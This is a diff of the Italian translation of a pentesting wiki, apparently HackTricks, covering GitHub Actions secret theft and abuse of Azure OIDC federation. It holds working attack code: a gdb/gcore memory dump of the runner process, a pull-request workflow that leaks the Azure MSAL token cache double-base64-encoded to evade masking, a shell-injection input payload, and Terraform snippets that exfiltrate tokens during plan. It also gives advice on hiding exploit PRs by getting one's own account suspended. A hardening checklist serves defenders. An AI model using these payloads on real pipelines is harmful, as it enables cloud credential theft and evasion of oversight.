\_Runner.Listener**\_\*\* process\*\* che conterrà tutti i secrets dei workflow in qualsiasi step effettuando il dump della sua memoria: +Nei self-hosted runners è anche possibile ottenere i **secrets from the \_Runner.Listener**\_\*\* process\*\* che conterrà tutti i secrets dei workflow in ogni fase, effettuando il dump della sua memoria: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Consulta [**questo post per maggiori informazioni**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). -### Registro immagini Docker di Github +### Github Docker Images Registry -È possibile creare Github actions che **creano e memorizzano un'immagine Docker all'interno di Github**.\ -Un esempio può essere trovato nel seguente elemento espandibile: +È possibile creare Github actions che **build and store a Docker image inside Github**.\ +Un esempio è disponibile nella sezione espandibile seguente:
@@ -619,7 +623,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e Come puoi vedere nel codice precedente, il Github registry è ospitato in **`ghcr.io`**. -Un utente con permessi di lettura sul repo potrà quindi scaricare la Docker Image usando un token di accesso personale: +Un utente con permessi di lettura sul repo potrà quindi scaricare la Docker Image usando un personal access token: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: @@ -630,18 +634,18 @@ Poi, l'utente potrebbe cercare **leaked secrets in the Docker image layers:** https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} -### Informazioni sensibili nei logs di Github Actions +### Informazioni sensibili nei log di Github Actions -Anche se **Github** prova a **rilevare valori segreti** nei logs di Github Actions e a **non mostrarli**, **altri dati sensibili** che potrebbero essere stati generati durante l'esecuzione dell'action non verranno nascosti. Ad esempio un JWT firmato con un valore segreto non verrà nascosto a meno che non sia [specificamente configurato](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Anche se **Github** cerca di **detect secret values** nei actions logs e di **avoid showing** questi valori, **other sensitive data** che potrebbe essere stato generato durante l'esecuzione dell'action non verrà nascosto. Ad esempio, un JWT firmato con un secret value non verrà nascosto a meno che non sia [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## Coprire le tue tracce -(Tecnica da [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR aperta è chiaramente visibile al pubblico su Github e all'account GitHub bersaglio. In GitHub, per impostazione predefinita, **non possiamo eliminare una PR da Internet**, ma c'è un colpo di scena. Per gli account Github che vengono **sospesi** da Github, tutte le loro **PR vengono automaticamente eliminate** e rimosse da Internet. Quindi, per nascondere la tua attività devi o **far sospendere il tuo account GitHub** o **far segnalare il tuo account**. Questo **nasconderebbe tutte le tue attività** su GitHub da Internet (praticamente rimuovendo tutte le exploit PR) +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR aperta è chiaramente visibile al pubblico su Github e all'account GitHub bersaglio. Su GitHub, per impostazione predefinita, non possiamo cancellare una PR da Internet, ma c'è una svolta. Per gli account Github che vengono **sospesi** da Github, tutte le loro **PR vengono automaticamente eliminate** e rimosse da Internet. Quindi, per nascondere la tua attività devi ottenere la sospensione del tuo **GitHub account** o far segnare il tuo account. Questo nasconderebbe tutte le tue attività su GitHub da Internet (fondamentalmente rimuovere tutte le tue exploit PR). -Un'organizzazione su GitHub è molto proattiva nel segnalare account a GitHub. Tutto quello che devi fare è condividere “some stuff” in un Issue e loro faranno in modo che il tuo account venga sospeso entro 12 ore :p e così hai reso il tuo exploit invisibile su github. +Un'organizzazione su GitHub è molto proattiva nel segnalare account a GitHub. Tutto quello che devi fare è condividere “some stuff” in un Issue e si assicureranno che il tuo account venga sospeso in 12 ore :p e voilà, il tuo exploit diventa invisibile su github. > [!WARNING] -> L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log di GitHub dal SIEM, poiché dall'interfaccia di GitHub la PR verrebbe rimossa. +> L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log GitHub dal SIEM, poiché dall'interfaccia GitHub la PR sarebbe stata rimossa. ## Riferimenti diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md new file mode 100644 index 000000000..43cb93758 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md @@ -0,0 +1,227 @@ +# Azure – Abuso della federazione (GitHub Actions OIDC / Workload Identity) + +{{#include ../../../banners/hacktricks-training.md}} + +## Panoramica + +GitHub Actions può federarsi con Azure Entra ID (formerly Azure AD) usando OpenID Connect (OIDC). Un workflow di GitHub richiede un GitHub ID token (JWT) a breve durata che codifica i dettagli della run. Azure valida questo token rispetto a un Federated Identity Credential (FIC) su un App Registration (service principal) e lo scambia per token di accesso Azure (MSAL cache, bearer tokens per Azure APIs). + +Azure valida almeno: +- iss: https://token.actions.githubusercontent.com +- aud: api://AzureADTokenExchange (quando viene scambiato per token Azure) +- sub: deve corrispondere all'identificatore Subject configurato nel FIC + +> L'aud GitHub predefinito potrebbe essere un URL di GitHub. Quando si scambia con Azure, impostare esplicitamente audience=api://AzureADTokenExchange. + +## GitHub ID token quick PoC +```yaml +name: Print OIDC identity token +on: { workflow_dispatch: {} } +permissions: +id-token: write +jobs: +view-token: +runs-on: ubuntu-latest +steps: +- name: get-token +run: | +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") +# Base64 avoid GitHub masking +echo "$OIDC_TOKEN" | base64 -w0 +``` +Per forzare l'audience di Azure nella richiesta del token: +```bash +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ +"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") +``` +## Configurazione Azure (Workload Identity Federation) + +1) Crea un'App Registration (service principal) e concedi i privilegi minimi (es., Storage Blob Data Contributor su uno specifico storage account). + +2) Aggiungi credenziali di identità federata: +- Issuer: https://token.actions.githubusercontent.com +- Audience: api://AzureADTokenExchange +- Subject identifier: strettamente limitato al contesto del workflow/di esecuzione previsto (vedi Scoping and risks qui sotto). + +3) Usa azure/login per scambiare il GitHub ID token e accedere all'Azure CLI: +```yaml +name: Deploy to Azure +on: +push: { branches: [main] } +permissions: +id-token: write +contents: read +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: Az CLI login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Upload file to Azure +run: | +az storage blob upload --data "test" -c hmm -n testblob \ +--account-name sofiatest --auth-mode login +``` +Esempio di scambio manuale (ambito Graph mostrato; ARM o altre risorse in modo analogo): +```http +POST //oauth2/v2.0/token HTTP/2 +Host: login.microsoftonline.com +Content-Type: application/x-www-form-urlencoded + +client_id=&grant_type=client_credentials& +client_assertion=&client_info=1& +client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& +scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default +``` +## GitHub OIDC subject (sub) anatomia e personalizzazione + +Formato predefinito del sub: repo:/: + +I valori del contesto includono: +- environment: +- pull_request (PR si attiva quando non è in un environment) +- ref:refs/(heads|tags)/ + +Claims utili spesso presenti nel payload: +- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor + +Personalizza la composizione del sub tramite l'API di GitHub per includere claims aggiuntivi e ridurre il rischio di collisione: +```bash +gh api orgs//actions/oidc/customization/sub +gh api repos///actions/oidc/customization/sub +# Example to include owner and visibility +gh api \ +--method PUT \ +repos///actions/oidc/customization/sub \ +-f use_default=false \ +-f include_claim_keys='["repository_owner","repository_visibility"]' +``` +Nota: i due punti nei nomi degli environment sono codificati in URL (%3A), eliminando i vecchi trucchi di injection dei delimitatori contro il parsing di sub. Tuttavia, usare soggetti non unici (es., solo environment:) è comunque insicuro. + +## Ambito e rischi dei tipi di subject FIC + +- Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/ +- Rischio: Se il branch/tag non è protetto, qualsiasi collaboratore può pushare e ottenere token. +- Environment: sub=repo:/:environment: +- Rischio: Ambienti non protetti (nessun reviewer) permettono ai collaboratori di generare token. +- Pull request: sub=repo:/:pull_request +- Massimo rischio: Qualsiasi collaboratore può aprire una PR e soddisfare la FIC. + +PoC: PR‑triggered token theft (esfiltrare la Azure CLI cache scritta da azure/login): +```yaml +name: Steal tokens +on: pull_request +permissions: +id-token: write +contents: read +jobs: +extract-creds: +runs-on: ubuntu-latest +steps: +- name: azure login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Extract access token +run: | +# Azure CLI caches tokens here on Linux runners +cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 +# Decode twice locally to recover the bearer token +``` +Posizioni dei file correlate e note: +- Linux/macOS: ~/.azure/msal_token_cache.json contiene MSAL tokens per le sessioni az CLI +- Windows: msal_token_cache.bin nel profilo utente; DPAPI‑protected + +## Reusable workflows and job_workflow_ref scoping + +Invocare un workflow riutilizzabile aggiunge job_workflow_ref al GitHub ID token, ad esempio: +``` +ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main +``` +Esempio FIC per associare sia il repository chiamante che il workflow riutilizzabile: +``` +sub=repo:/:job_workflow_ref://.github/workflows/@ +``` +Configura le claims nel repo chiamante in modo che sia repo che job_workflow_ref siano presenti in sub: +```http +PUT /repos///actions/oidc/customization/sub HTTP/2 +Host: api.github.com +Authorization: token + +{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} +``` +Avviso: Se leghi soltanto job_workflow_ref nel FIC, un attaccante potrebbe creare un repo diverso nella stessa org, eseguire lo stesso reusable workflow sullo stesso ref, soddisfare il FIC e mint tokens. Includi sempre anche il caller repo. + +## Vettori di esecuzione di codice che bypassano le protezioni di job_workflow_ref + +Anche con job_workflow_ref correttamente limitato, qualunque dato controllato dal caller che raggiunga la shell senza un quoting sicuro può portare all'esecuzione di codice all'interno del contesto del workflow protetto. + +Esempio di reusable step vulnerabile (interpolazione non quotata): +```yaml +- name: Example Security Check +run: | +echo "Checking file contents" +if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then +echo "Malicious content detected!"; exit 1 +else +echo "File contents are safe." +fi +``` +Input del chiamante malevolo per eseguire comandi e exfiltrate the Azure token cache: +```yaml +with: +file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' +``` +## Terraform plan come una primitiva di esecuzione nelle PRs + +Tratta Terraform plan come esecuzione di codice. Durante il plan, Terraform può: +- Leggere file arbitrari tramite funzioni come file() +- Eseguire comandi tramite l'external data source + +Esempio per exfiltrate Azure token cache durante il plan: +```hcl +output "msal_token_cache" { +value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) +} +``` +Oppure usare external per eseguire comandi arbitrari: +```hcl +data "external" "exfil" { +program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] +} +``` +Concedere FICs utilizzabili su piani attivati da PR espone token privilegiati e può predisporre un apply distruttivo in seguito. Identità separate per plan vs apply; non permettere mai token privilegiati in contesti PR non attendibili. + +## Checklist di hardening + +- Non usare mai sub=...:pull_request per FICs sensibili +- Proteggi qualsiasi branch/tag/environment referenziato da FICs (branch protection, environment reviewers) +- Preferisci FICs limitate sia al repo che a job_workflow_ref per reusable workflows +- Personalizza GitHub OIDC sub per includere claim unici (es., repo, job_workflow_ref, repository_owner) +- Elimina l'interpolazione non quotata degli input del caller nelle run steps; codifica o metti tra virgolette in modo sicuro +- Tratta terraform plan come esecuzione di codice; limita o isola le identità nei contesti PR +- Applica il principio del privilegio minimo alle App Registrations; separa le identità per plan e apply +- Fissa actions e reusable workflows ai commit SHAs (evita pin su branch/tag) + +## Suggerimenti per i test manuali + +- Richiedi in-workflow un GitHub ID token e stampalo in base64 per evitare il masking +- Decodifica il JWT per ispezionare i claim: iss, aud, sub, job_workflow_ref, repository, ref +- Scambia manualmente l'ID token contro login.microsoftonline.com per confermare la corrispondenza delle FIC e gli scope +- Dopo azure/login, leggi ~/.azure/msal_token_cache.json per verificare la presenza dei dati del token + +## References + +- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) +- [azure/login action](https://github.com/Azure/login) +- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) +- [gh CLI](https://cli.github.com/) +- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) + +{{#include ../../../banners/hacktricks-training.md}}